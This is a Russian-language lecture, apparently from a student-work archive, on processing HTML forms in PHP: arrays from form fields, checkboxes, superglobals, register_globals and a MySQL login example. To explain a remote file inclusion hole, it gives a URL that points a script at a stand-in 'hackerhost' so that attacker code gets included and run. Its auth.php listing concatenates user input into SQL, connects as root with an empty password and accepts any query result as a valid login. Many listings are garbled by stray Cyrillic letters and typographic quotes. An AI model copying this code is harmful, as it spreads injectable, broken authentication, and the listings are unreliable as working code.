Web-программирование. Обработка HTML-форм

Создание HTML-форм. Ввод многострочного текста. Тег FORM - контейнер форм. Трансляция переменных окружения. Передача данных с помощью формы. Приложения, хранящие данные о регистрации пользователей в базе данных MySQL. Порядок трансляции переменных.

Рубрика Программирование, компьютеры и кибернетика
Вид лекция
Язык русский
Дата добавления 27.04.2009
Размер файла 5,6 M

Отправить свою хорошую работу в базу знаний просто. Используйте форму, расположенную ниже

Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.

Листинг txt.html. Применение автомассивов

<html>

<head>

<title>Применение автомассивов</title>

</head>

<body>

<form action=hello3.php>

<input type=checkbox name=Arr[] value=chl>

<input type=checkbox name=Arr[] value=ch2>

<input type=text name=Arr[] value=”Однострочный текст”>

<textarea name=Arr[]>Многострочный текст</textarea>

<input type=submit vа1ue = “Нажмите кнопку, чтобы запустить сценарий! «>

</form>

</body>

</html>

В окне браузера форма выглядит следующим образом:

Листинг hello3.php. Сценарий обработки автомассивов

<?php

echo “<bг><b>Список month3: </b><br>” ;

foreach ($_REQUEST['Arr'] as $key=>$value)

echo “$key = $value <br>”;

?>

Видно, что РНР совершенно нет никакого дела до того, в каких элементах формы мы используем автомассивы -- он в любом случае обрабатывает все одинаково. И это, пожалуй, не только правильно, но и удобно.

2.6. Обработка массивов

Рассмотрены почти все возможности РНР по автоматической трансляции данных формы. Напоследок взглянем на еще одно полезное свойство РНР. Пусть имеется такая форма:

Листинг txt1.html. Форма для примера «Обработка массивов»

<html>

<head>

<title>Обработка массивов</title>

</head>

<body>

<form action=hello4.php>

Имя: <input type=text name=Data[name]><br>

Адрес: <input type=text name=Data[address]><br>

Город: <br>

<input type=radio name=Data[city] value=Newomoscow>Новомocковск<br>

<input type=radio name=Data[city] value=Kiev>Kиев<br>

<input type=submit vа1ue = “Нажмите кнопку, чтобы запустить сценарий! «>

</form>

</body>

</html>

В окне браузера форма выглядит следующим образом:

После передачи подобных данных сценарию на РНР в нем будет инициализирован ассоциативный массив $Data с ключами name, address и city. То есть, имена полям формы можно давать не только простые, но и представленные в виде одномерных ассоциативных массивов.

В сценарии к отдельным элементам формы можно обратиться при помощи указания ключа массива: например, $_REQUEST ['Data'] ['city'] обозначает значение той радиокнопки, которая была выбрана пользователем, а $_REQUEST ['Data'] ['name'] -- введенное имя.

Предупреждение. В сценарии обязательно нужно заключать ключи в кавычки или апострофы. В противном случае интерпретатором будет выведено предупреждение. В то же время, в параметрах name полей формы, наоборот, нужно их избегать -- так устроен РНР.

Напишем сценарий.

Листинг hello4.php. Сценарий для обработки массива

<?php

echo “<bг><b>Список month4 </b><br>” ;

foreach ($_REQUEST['Data'] as $key=>$value)

echo “$key = $value <br>”;

?>

2.7. Особенности обработки независимых переключателей

Рассмотрим вопрос, который находит частое практическое применение в Web-программировании. Независимый переключатель (checkbox или более коротко -- флажок) имеет одну довольно неприятную особенность, которая иногда может помешать Web-программисту. Если перед отправкой формы пользователь установил независимый переключатель в выбранное состояние, то сценарию в числе других параметров приходит пара имя_флажка=значение. В то же время, если флажок не был установлен пользователем, указанная пара не посылается.

Для упрощения обработки, хотелось бы, чтобы в невыбранном состоянии флажок также присылал данные, но только значение было равно какой-нибудь специальной величине -- например, нулю или пустой строке.

Добиться этого эффекта в РНР довольно несложно. Достаточно воспользоваться одноименным скрытым полем (hidden) со значением, равным, например, нулю, поместив его перед нужным флажком.

Листинг checkbox.php. Особенности обработки независимых переключателей

<?php # # Гарантированный прием значений от флажков.

if (@$_REQUEST['doGo'] )

{

foreach (@$_REQUEST ['known'] as $k=>$v)

{

if($v) echo «Вы знаете язык $k!<br>»;

else echo «Вы не знаете языка $k. <br>»;

}

}

?>

<form action=”<?=$_SERVER['SCRIPT_NAME']?>” method=post>

Какие языки программирования вы знаете?<br>

<input type=hidden name=”known[PHP]” value=”0”>

<input type=checkbox name=”known[PHP]” value=”l”>PHP<br>

<input type=hidden name=”known[Perl] “ value=”0”>

<input type=checkbox name=”known[Perl]” value=”l”>Perl<br>

<input type=submit name=”doGo” value=”Go!”>

</form>

Инструкция foreach предназначена для перебора всех элементов массива, указанного в ее первом аргументе.

Теперь в случае, если пользователь не выберет никакой из флажков, браузер отправит сценарию пару known [язык] = 0, сгенерированную соответствующим скрытым полем, и в массиве $_request [' known'] создастся соответствующий элемент:

Если пользователь выберет флажок, эта пара также будет послана, но сразу же после нее последует пара known [язык] =1, которая «перекроет» предыдущее значение:

Если бы не были включены скрытые поля в форму, сценарий печатал бы только сообщения о тех языках, которые «знает пользователь», пропуская языки, ему «неизвестные». В рассмотренном случае сценарий реагирует и на сброшенные флажки.

Такой способ немного увеличивает объем данных, передаваемых методом post, за счет тех самых пар, которые генерируются скрытыми полями. Впрочем, в реальной жизни это «увеличение» практически незаметно (особенно для POST-форм).

2.8. Диагностика создаваемых массивов

Напомним, какие массивы создает РНР, когда обрабатывает данные, пришедшие из формы:

? $_GET -- содержит GET-параметры, пришедшие скрипту через переменную окружения QUERY_STRING. Например, $_GET [' login'];

? $_post -- данные формы, пришедшие методом post;

? $_cookie -- все cookies, которые прислал браузер;

? $_REQUEST -- объединение трех перечисленных выше массивов.

Именно переменную $_REQUEST рекомендуется использовать в скриптах, потому что таким образом мы не «привязываемся» жестко к типу принимаемых данных (get или post);

? $_server -- содержит переменные окружения, переданные сервером (отсюда и название).

Может показаться, что это много. Чтобы не запутаться в переменных, рассмотрим полезный прием, помогающий при отладке сценариев: можно вывести все переменные в браузер.

Листинг dump.php. Вывод всех переменных в браузер

<! - - Выводит все глобальные переменные - ->

<pre>

<?print_r($GLOBALS)?>

</pre>

Задача данного сценария -- распечатать в браузер все глобальные переменные программы (включая описанные выше массивы) в читабельном представлении. Глобальные переменные доступны через используемый массив $GLOBALS. Встроенная функция print_r() делает все остальное.

Страница, генерируемая данным сценарием, весьма интересна. Рекомендуем поэкспериментировать с ней, передавая программе различные GET-данные (включая многомерные массивы) и подставляя ее в атрибут action различных HTML-форм.

3. КАКОЙ РЕЖИМ ВЫБРАТЬ: register_globals=off & on ?

В рассмотренных примерах каждый раз при обращении к переменным, полученным из полей формы, писали:

$_REQUEST[' … ']

Это делать необходимо из-за того, что все данные из полей формы PHP помещает в глобальный массив $_REQUEST.

В ранних версиях РНР (вплоть до РНР 4.1) существовал способ, позволяющий работать с полями формы значительно проще. По умолчанию РНР не помещал данные в $_REQUEST, а создавал обыкновенные глобальные переменные для каждого из полей формы. Например, можно было написать такой сценарий:

<!- - Вывод параметров командной строки. - ->

<?php

echoHello, $name!”;

?>

Запустив его с нужным параметром, например: http://localhost/hello.php?name=Виктор Сергеевич, можно увидеть корректную страницу приветствия: РНР создал глобальную переменную $name, значение которой и напечатано:

Такой режим работы называется register_globals и поддерживается в РНР по сей день. При этом в файле php.ini этот параметр находится во включенном состоянии:

Однако, начиная с PHP 4.2.0, register_globals по умолчанию выключен в файле php.ini:

Разработчики РНР поступили так по соображениям безопасности: часто скрипты, написанные в расчете на включенный register_globals, обнаруживали проблемы с защитой.

Внимание

Начиная с PHP 4.2.0, значение директивы register_globals по умолчанию установлено в off (отключено, раньше было on - включено). Положение register_globals в off делает предопределенные переменные доступными в глобальной области видимости.

Например, чтобы получить:

? $DOCUMENT_ROOT, вам необходимо будет использовать $_SERVER['DOCUMENT_ROOT'] вместо $DOCUMENT_ROOT;

? $_GET['id'] из URL http://www.example.com/test.php?id=3 вместо $id;

? $_ENV['HOME'] вместо $HOME.

Использование доступных зарезервированных предопределенных переменных PHP, таких как суперглобальные массивы, является предпочтительным.

Предупреждение!

В PHP 4.2.0 и позднее, набор по умолчанию предопределённых переменных, доступных в глобальной области видимости, изменён. Отдельные переменные ввода и сервера по умолчанию больше не размещаются непосредственно в глобальной области видимости; они размещаются в суперглобальных массивах.

Вы можете форсировать старое поведение, установив register_globals в 'On' в вашем файле php.ini.

Суперглобальные переменные PHP

$GLOBALS

Содержит ссылку на каждую переменную, доступную в данный момент в глобальной области видимости скрипта. Ключами этого массива являются имена глобальных переменных. $GLOBALS существует, начиная с PHP 3.

$_SERVER

Переменные, установленные web-сервером либо напрямую связанные с окружением выполнения текущего скрипта. Аналог старого массива $HTTP_SERVER_VARS (который по-прежнему доступен, но не рекомендуется).

$_GET

Переменные, передаваемые скрипту через HTTP GET. Аналог старого массива $HTTP_GET_VARS (который по-прежнему доступен, но не рекомендуется).

$_POST

Переменные, передаваемые скрипту через HTTP POST. Аналог старого массива $HTTP_POST_VARS (который по-прежнему доступен, но не рекомендуется).

$_COOKIE

Переменные, передаваемые скрипту через HTTP cookies. Аналог старого массива $HTTP_COOKIE_VARS (который по-прежнему доступен, но не рекомендуется).

$_FILES

Переменные, передаваемые скрипту через HTTP post-загрузку файлов. Аналог старого массива $HTTP_POST_FILES (который по-прежнему доступен, но не рекомендуется). Для дополнительной информации смотрите Загрузка методом POST.

$_ENV

Переменные, передаваемые скрипту через окружение. Аналог старого массива $HTTP_ENV_VARS (который по-прежнему доступен, но не рекомендуется).

$_REQUEST

Переменные, передаваемые скрипту через механизмы ввода GET, POST и COOKIE, и которым, следовательно, нельзя доверять. Наличие и порядок включения переменных в этот массив определяется в соответствии с директивой конфигурации PHP variables_order. Этот массив не имеет прямых аналогов в версиях PHP до 4.1.0

Рекомендуется писать скрипты с расчетом на выключенный register_globals.

Сценарий, корректно работающий при выключенном register_globals, будет работать и при включенном режиме. Но не наоборот.

Для повышения безопасности работы нужно сконфигурировать PHP с опцией register_globals = off. Отключив возможность внедрения отправленных пользователем переменных в PHP-код, можно уменьшить количество заражённых переменных, которые потенциальный взломщик может попытаться направить вам. Для подделки отправляемой информации понадобится дополнительное время, а ваши внутренние переменные будут эффективно изолированы от отправляемых пользователем данных.

Хотя понадобятся некоторые дополнительные усилия при работе с PHP, но преимущества от этой работы с лихвой окупят эти затраты.

3.1. Первый пример уязвимости

Для иллюстрации, как можно получить уязвимый сценарий, рассмотрим пример:

<?php

//*** здесь устанавливается переменная $root

//*** ...

// запускаем другой скрипт, который ищем в каталоге $root

include $root.»/library.php»;

?>

Если в коде, помеченном выше звездочками, переменная $root по ошибке окажется не установленной (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в браузере:

http://example.com/scnpt.pbp?root=http://hackerhost

Здесь example.com -- это машина, на которой располагается скрипт, a hackerhost -- компьютер злоумышленника, на котором также установлен Web-сервер.

Рассмотрим подробнее, что же происходит. В скрипте значение переменной $root подставляется в строку и выполняется команда:

include http://hackerhost/library.php;

В большинстве случаев это заставляет РНР загрузить файл library.php с удаленной машины и передать ему управление. Иными словами, записав в файл library.php на своей машине любой код, хакер может запустить его на сервере example.com.

3.2. Второй пример уязвимости

Предыдущий пример может показаться надуманным. Таким он и является: данная проблема может обнаружиться лишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в известном форуме phpBB уязвимость описанного типа обнаруживалась и исправлялась несколько раз.

Более простой пример связан с массивами. Многие люди пишут в своих программах:

$artefacts['rabbit'] = “white”;

$artefacts['cat'] = “black”;

Они не задумываются над тем, что перед этим надо бы очистить массив $artefacts: считают, что он и так пуст в начале программы. Корректный же код должен выглядеть так:

$artefacts = array();

$artefacts['rabbit'] = “white”;

$artefacts['cat'] = “black”;

К чему ведет пропуск $artefacts = array(); в начале скрипта? К тому, что, передав специально подобранную командную строку, хакер может добавить в массив $artefacts произвольные данные. Например, он запустит сценарий так:

http://example.com/script.php?artefacts[reboot]=yes

При этом в программе с пропущенным обнулением массива $artefacts в него будут помещены не два, а три элемента (включая reboot=>yes). Скрипт никак на это не рассчитывает, что, в свою очередь, порождает потенциальные проблемы с безопасностью.

Если глобальные переменные не создаются, то описанные уязвимости исчезают. Во всяком случае, так решили разработчики РНР.

Всегда необходимо проверять код, чтобы гарантировать, что любые переменные, отправляемые из web-браузера, соответствующим образом будут проверены. Задавайте себе следующие вопросы:

? Будет ли данный скрипт воздействовать только на предполагаемые файлы?

? Могут ли быть обработаны необычные или нежелательные данные?

? Может ли данный скрипт быть использован несоответствующим образом?

? Может ли он быть использован в сочетании с другими скриптами негативным образом?

? Будет ли выполнен адекватный логинг для каждой транзакции?

Задав себе эти вопросы при написании скрипта, а не потом, вы предотвратите возможную переделку для повышения защищённости. Вы не гарантируете полную безопасность вашей системы, но можете значительно повысить её.

Возможно, вы захотите также предусмотреть отключение register_globals, magic_quotes или других установок, которые могут создать у вас неуверенность в проверке, источнике или значении данной переменной. Работа с PHP в режиме error_reporting(E_ALL) также может помочь, предупреждая вас о переменных, используемых до проверки или инициализации (что предотвратит операции с необычными данными).

3.3. Порядок трансляции переменных

Теперь рассмотрим, в каком порядке записываются данные в массив $_REQUEST, a также в глобальные переменные, если включен режим register_giobals. Этот порядок, вообще говоря, важен.

Например, пусть у нас есть параметр A=10, поступивший из query_string, параметр A=20 из POST-запроса (как мы помним, даже при POST-запросе может быть передана query_string), и cookie A=30. По умолчанию трансляция выполняется в порядке GET-POST-COOKIE (GPC), причем каждая следующая переменная перекрывает предыдущее свое значение (если оно существовало). Итак, в переменную $A сценария и в $_REQUEST [ 'A' ] будет записано 30, поскольку cookie перекрывает post и get.

В режиме register_giobals в глобальные переменные попадают также значения переменных окружения. Записываются они в соответствии со схемой ENVIRON-MENT-GET-POST-COOKIE (EGPC). Иными словами, переменные окружения в режиме register_giobals перекрываются даже GET-данными, и злоумышленник может «подделать» любую из них, передав соответствующую переменную query_string при запуске сценария.

Поэтому, если не хотите проблем, даже в режиме register_globals обращайтесь к переменным окружения только через:

$_SERVER['переменная'] или getenv('переменная')

4. ПРИЛОЖЕНИЯ, ХРАНЯЩИЕ ДАННЫЕ О РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ В БАЗЕ ДАННЫХ MySQL

Хранение информации о данных регистрации осуществляется в базе данных MySQL. Пример включает в себя три скрипта. В первом, auth.php, происходит регистрация пользователей. Второй скрипт, members_only.php, предоставляет информацию, доступную только для зарегистрированных пользователей. И, наконец, в третьем скрипте, destroy.php, реализован выход из системы.

Для работы необходимо создать базу данных auth. Это можно сделать, выполнив SQL-запрос, текст которого приведен в листинге

Листинг auth.txt. Создание базы данных

create database auth;

use auth;

create table auth

(

name varchar(10) not null,

pass varchar(30) not null,

primary key (name)

);

Чтобы создать в системе базу данных, нужно войти в систему MySQL и ввести в командной строке MySQL:

mysql> create database auth;

После этого следует набрать:

mysql>use auth;

База данных создана:

Следующий этап настройки базы данных -- создание таблиц. Это делается при помощи SQL-команды CREATE TABLE:

create table auth

(

name varchar(10) not null,

pass varchar(30) not null,

primary key (name)

);

Таблицы базы данных созданы:

Можно просмотреть перечень таблиц созданной базы данных c помощью оператора SHOW:

Можно отобразить информацию о столбцах всех таблиц c помощью оператора DESCRIBE:

Для просмотра данных, сохраненных в каждой таблице, можно применить оператор SELEKT:

Листинг auth.php. Код скрипта для регистрации пользователя

<?

$dblocation = “127.0.0.1”;

$dbname = “local”;

$dbuser = “root”;

$dbpasswd = “”;

session_start();

if(isset($HTTP_POST_VARS['userid']) &&

isset($HTTP_POST_VARS['password']))

{

$userid = $HTTP_POST_VARS['userid'];

$password = $HTTP_POST_VARS['password'];

$db_connect=mysql_connect($dblocation, $dbuser, $dbpasswd);

mysql_select_db(`auth',$db_connect);

$query = “select * from auth where name='”.$userid.”'

and pass = password(`$password');”;

$result = mysql_query($query,$db_connect);

if ($result)

{

$HTTP_SESSION_VARS['valid_user'] = $userid;

}

}

?>

<html>

<body>

<h1> Страница регистрации </h1>

<?

if (isset($HTTP_SESSION_VARS['valid_user']))

{

echo `Вы зарегистрированы как `.$HTTP_SESSION_VARSI['valid_user'].

`<br />';

echo `<a href=”destroy.php”>Bыход</a><br />';

}

else

{

if (isset($userid))

{

echo(“Регистрация невозможна”);

}

?>

<form method=”post” action=”auth.php”>

<table>

<tr><td>Имя: </td>

<td><input type=”text” name=”userid”</td></tr>

<tr><td>Пароль: </td>

<td><input type=”password” name=”password”></td></tr>

<tr><td colspan=2><input type=submit value='Зарегистрировать `>

</td></tr>

</table></form>

<?

}

?>

<br>

<a href =»members_only.рhр»> Только для зарегистрированных пользователей </а>

</body>

</html>

В результате выполнения этого скрипта, если пользователь еще не зарегистрирован, для него отображается входная страница регистрации:

После того как посетитель введет свои данные и зарегистрируется, ему будет выдано сообщение об успешной регистрации:

Если регистрация, по каким - либо причинам не удалась, можно вернуться назад на страницу регистрации:

Если регистрация удалась, то посетитель может попасть на страницу для зарегистрированных пользователей, код которой реализован в скрипте members_only.php.

Листинг members_only.php. Код скрипта для страницы зарегистрированных пользователей

<?

session_start();

if (isset($HTTP_SESSION_VARS['valid_user']))

{

echo `Здравствуйте,'.$HTTP_SESSION_VARS['valid_user'].'<br />;

echo(«Информация на этой странице доступна только для зарегистрированных пользователей <br>»);

}

else

{

echo(«Вы не зарегистрированы <br>»);

}

echo '<a href =»auth.php»>Haзад на страницу регистрации </а>';

?>

При переходе посетителя по ссылке «Выход», реализуется скрипт destroy.php, по которому осуществляется разрегистрация сеансовых переменных и завершение сеанса.

Листинг destroy.php. Код скрипта для завершения сеанса и разрегистрации сеансовых переменных

<?

session_start();

$old_user = $HTTP_SESSION_VARS['valid_user'];

unset($HTTP_SESSION_VARS['valid_user']);

session_destroy();

?>

<html>

<body>

<h1>Выход</h1>

<a href=»auth.php»>Haзад на страницу регистрации</а>;

</body>

</html>

5. ЗАДАНИЕ НА САМОСТОЯТЕЛЬНУЮ РАЗРАБОТКУ

Создать HTML-документ с формой, использующей все типы описанных полей. А затем написать сценарий, который будет обрабатывать переданные параметры, и хранить информацию о данных регистрации пользователя в базе данных MySQL.

В окне браузера форма должна выглядеть примерно так:

Когда пользователь нажмет кнопку Передать, браузер передаст сценарию следующие параметры:

? txt -- значение текстового поля;

? pswd -- значения поля ввода пароля;

? hid -- значение скрытого поля;

? параметры varl и var2 будут переданы только, если соответствующие им переключатели активны (может быть передано одно из значений, оба значения или же ни одно из значений);

? sex -- значение группы зависимых переключателей (будет передано одно из значений -- male или female);

? t_area -- содержимое текстовой области;

? month -- значение списка без возможности множественного выбора;

? month [] -- значение списка с возможностью множественного выбора.

Теперь нужно разобраться, как обработать все эти параметры.

? Параметры txt, pswd, hid и t_area обрабатываются легко. Интерпретатор создает для каждого параметра переменную с соответствующим именем.

? С параметрами varl и var2 дело обстоит несколько сложнее. Если переключатель не активен, то параметры вообще не будут переданы на сервер, как будто бы вообще их и не было. Следовательно, не будет создана глобальная переменная и при попытке обращения к такой переменной, мы получим сообщение о том, что переменная не существует. Поэтому просто написать echo $varl; мы не можем: нужно предварительно проверить, существует ли переменная.

Только после проверки существования можно начинать работу с переменной.

? Параметр sex, то есть зависимый переключатель, обрабатывается легко -- браузер передает только одно из значений. Другими словами, параметр sex будет равен или male, или female.

? Точно также обрабатывается параметр $month -- это обыкновенный список без возможности множественного выбора, поэтому по сути его можно представить, как набор из зависимых переключателей.

? Сложнее всего обработать список с множественным выбором. Ведь в этом случае параметры передаются так:

name=valuel&name=value2&name=value3...

При стандартном подходе переменная $name будет содержать только последнее значение (valueN). Однако разработчики РНР позаботились об этом: множественный список можно представить в виде массива, а обработать его элементы можно с помощью цикла foreach. Нам даже не нужно знать количество переданных элементов списка. Предварительно лишь нужно сообщить РНР, что мы будем передавать массив:

<select namemonth2[]size=4 multiple>

Квадратные скобки -- это признак массива.

ЗАКЛЮЧЕНИЕ

На примерах рассмотрено, как РНР обрабатывает данные, пришедшие из формы, из командной строки или из cookies. Мы также узнали различные способы записи полей формы для того, чтобы формировать в программе переменные и массивы требуемой структуры (например, массивы для элемента «список с множественным выбором»). Описан режим register_giobals, популярный в ранних версиях РНР, а ныне отключенный из соображений безопасности, а также его достоинства и недостатки.

ЛИТЕРАТУРА

1. Скляр Д., Трахтенберг А. PHP. Сборник рецептов. - Пер. с англ. - СПб: Символ - Плюс, 2005. - 627 с., ил.

2. Котеров Д., Костарев А. PHP5 в подлиннике. - СПб: Символ - Плюс, 2005. - 1120 с., ил.

3. Дюбуа П. MySQL. Сборник рецептов. - Пер. с англ. - СПб: Символ - Плюс, 2004. - 1056 с., ил.

4. Томсон Лаура, Веллинг Люк. Разработка web - приложений на PHP и MySQL. - Пер. с англ. - СПб: ООО «ДиаСофтЮП», 2003. 672 с., ил.


Подобные документы

  • Основные технологии веб-программирования. Методы отправки данных на сервер с помощью HTML-формы. PHP - Препроцессор Гипертекста. Сохранение данных в базе данных MySQL. Клиент-Сервер и технология CGI. Примеры использования PHP совместно с MySQL.

    лекция [2,9 M], добавлен 27.04.2009

  • Обеспечение безопасности сайта; значение правильной обработки данных, получаемых из формы. Вызов и условное объявление функции. Передача параметров по значению и ссылке. Обработка HTML-форм; протокол GET. Доступ к полям формы через ассоциированный массив.

    презентация [112,7 K], добавлен 21.06.2014

  • Создание базы данных, состоящей из таблиц, запросов и форм, в MS Ассеss. Распределение совокупности данных по таблицам в соответствии с требованиями нормализации. Обработка событий при помощи макросов. Создание сложных форм в редакторе Visual Basic.

    лабораторная работа [797,7 K], добавлен 04.01.2011

  • Понятие об html. Структура файла в формате html. Отличительный признак html-документа. Гипертекстовые ссылки. Создание документов в стандарте html. Заголовки. Форматирование текста и изменение стилей. Фреймы.

    реферат [23,7 K], добавлен 17.08.2007

  • Создание базы данных, выполнение поиска, изменение и удаление записей, обработка, проектирование и обмен данными. Определение формул для вычисляемой части базы данных. Заполнение таблицы с помощью Мастера форм. Формы представления и анализ информации.

    учебное пособие [5,0 M], добавлен 12.08.2009

  • Проектирование структуры базы данных предприятия с помощью СУБД Access. Установка связей между таблицами и ввод в них данных. Создание форм к базе данных, фильтрация запросов, просмотр отчетов. Получение комплексного отчета после группировки и сортировки.

    лабораторная работа [787,7 K], добавлен 22.11.2014

  • Формирование основных таблиц базы данных деканата и устанавливание к ним ключей. Заполнение баз необходимыми сведениями. Формулировка схем данных форм и запросов. Настройка некоторых запросов по своим свойствам. Создание форм через "мастера форм".

    контрольная работа [1,0 M], добавлен 07.01.2011

  • Характеристика и технические возможности СУБД MySQL. Трехуровневая структура MySQL. Требования к аппаратному обеспечению. Создание таблицы, триггеров, генераторов, хранимых процедур в MySQL. Разработка приложения для базы данных с помощью Borland Delphi.

    курсовая работа [940,7 K], добавлен 20.12.2011

  • Основы Web-программирования. Сервер баз данных MySQL. Язык сценариев PHP. Язык гипертекстовой разметки HTML. Назначение и цели разработки сайта. Форма входа и регистрации, обратная связь интернет–магазина. Требования к структуре сайта, описание контента.

    курсовая работа [754,5 K], добавлен 02.06.2014

  • Сохранение и обработка документов в памяти компьютера с помощью Microsoft Word. Выполнение операций над строками с помощью Excel: ввод формул и текста. Файловые структуры данных, Ethernet и Интернет технологии, язык HTML и топология локальных сетей.

    дипломная работа [4,2 M], добавлен 12.06.2011

Работы в архивах красиво оформлены согласно требованиям ВУЗов и содержат рисунки, диаграммы, формулы и т.д.
PPT, PPTX и PDF-файлы представлены только в архивах.
Рекомендуем скачать работу.